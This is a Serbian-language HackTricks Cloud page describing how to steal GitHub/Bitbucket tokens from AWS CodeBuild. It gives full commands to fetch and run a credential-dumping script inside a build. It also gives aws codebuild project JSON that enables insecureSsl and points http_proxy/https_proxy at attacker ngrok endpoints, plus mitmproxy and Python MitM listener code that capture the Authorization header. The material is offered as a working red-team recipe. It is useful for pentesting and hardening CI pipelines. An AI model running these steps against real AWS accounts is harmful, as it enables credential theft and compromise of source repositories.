AWS Codebuild - Token Leakage
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
Oporavak Github/Bitbucket konfigurisanih Tokens
Prvo, proverite da li postoje konfigurisani source credentials koje biste mogli leak:
aws codebuild list-source-credentials
Putem RCE u CodeBuild job
Iz CodeBuild job-a možete pozvati nedokumentovani AWS CodeBuild API endpoint koji će vam vratiti kredencijale koje koristi CodeBuild. Ovo može poslužiti za pribavljanje kredencijala s kojima je CodeBuild job konfigurisan, npr. AWS CodeConnection kredencijali, OAUTH ili PAT kredencijali. CodeBuild job ne mora imati privilegije da bi pozvao ovaj endpoint i takođe je teško otkriti to u logovanju i nadgledanju, jer CodeBuild sam poziva ovaj endpoint nekoliko puta prilikom startovanja.
Tehnika je detaljnije objašnjena u https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/ ali ukratko, da biste dobili kredencijale unutar CodeBuild job-a, potrebno je da pokrenete sledeće:
python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py
Putem Docker Image
Ako otkrijete da je autentifikacija, na primer za Github, podešena na nalogu, možete exfiltrate taj access (GH token or OAuth token) naterati Codebuild da use an specific docker image da pokrene build projekta.
Za ovu svrhu možete create a new Codebuild project ili promeniti environment postojećeg da postavite Docker image.
Docker image koju možete koristiti je https://github.com/carlospolop/docker-mitm. Ovo je vrlo osnovni Docker image koji će postaviti env variables https_proxy, http_proxy i SSL_CERT_FILE. To će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u https_proxy i http_proxy i da verujete SSL CERT-u navedenom u SSL_CERT_FILE.
- Kreirajte i otpremite sopstveni Docker MitM image
- Pratite instrukcije iz repo-a da podesite proxy IP adresu i SSL cert i build the docker image.
- DO NOT SET
http_proxyda ne presretnete zahteve ka metadata endpoint-u. - Možete koristiti
ngrokkaongrok tcp 4444da postavite proxy na vaš host - Kada izgradite Docker image, otpremite ga u javni repo (Dockerhub, ECR…)
- Podesite environment
- Kreirajte novi Codebuild project ili izmenite environment postojećeg.
- Podesite projekat da koristi prethodno generisani Docker image
.png)
- Podesite MitM proxy na vašem hostu
- Kao što je navedeno u Github repo možete koristiti nešto kao:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
Korišćena mitmproxy verzija je bila 9.0.1, prijavljeno je da sa verzijom 10 ovo možda neće raditi.
- Pokrenite build & uhvatite kredencijale
- Možete videti token u Authorization header-u:
.png)
Ovo se takođe može uraditi iz aws cli pomoću nečeg poput:
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Putem insecureSSL
Codebuild projekti imaju podešavanje nazvano insecureSsl koje je skriveno u web interfejsu i možete ga menjati samo preko API-ja.
Omogućavanjem toga, Codebuild može da se poveže na repozitorijum bez provere sertifikata koji nudi platforma.
- Prvo treba da izlistate trenutnu konfiguraciju nečim poput:
aws codebuild batch-get-projects --name <proj-name>
- Zatim, sa prikupljenim informacijama možete ažurirati podešavanje projekta
insecureSslnaTrue. U nastavku je primer mog ažuriranja projekta, obratite pažnju nainsecureSsl=Truena kraju (to je jedina stvar koju treba promeniti iz prikupljene konfiguracije). - Pored toga, dodajte i promenljive okruženja http_proxy i https_proxy koje ukazuju na vaš tcp ngrok, na primer:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Zatim pokrenite osnovni primer sa https://github.com/synchronizing/mitm na portu na koji ukazuju proxy promenljive (http_proxy i https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Finally, click on Build the project, the credentials will be sent in clear text (base64) to the mitm port:
 (1).png)
Preko HTTP protokola
[!TIP] > Ova ranjivost je ispravljena od strane AWS negde u toku nedelje 20. februara 2023 (mislim u petak). Tako da napadač više ne može da je zloupotrebi :)
Napadač sa povišenim privilegijama nad CodeBuild mogao bi leak-ovati konfigurisani Github/Bitbucket token ili, ako su privilegije podešene preko OAuth, privremeni OAuth token koji se koristi za pristup kodu.
- Napadač može dodati environment variables http_proxy i https_proxy u CodeBuild projekat koji pokazuju na njegovu mašinu (na primer
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Zatim, promenite URL github repoa da koristi HTTP umesto HTTPS, na primer:
http://github.com/carlospolop-forks/TestActions - Zatim, pokrenite osnovni primer sa https://github.com/synchronizing/mitm na portu na koji pokazuju proxy promenljive (http_proxy and https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Zatim kliknite na Build the project ili pokrenite build iz komandne linije:
aws codebuild start-build --project-name <proj-name>
- Na kraju, kredencijali će biti posaljeni u čistom tekstu (base64) na mitm port:
.png)
Warning
Sada će napadač moći da koristi token sa svoje mašine, navede sve privilegije koje poseduje i lakše ga zloupotrebi nego direktnim korišćenjem CodeBuild servisa.
Nepouzdano izvršavanje PR-a usled pogrešne konfiguracije filtera webhook-a
Za PR-triggered webhook bypass lanac (ACTOR_ACCOUNT_ID regex + untrusted PR execution), pogledajte:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

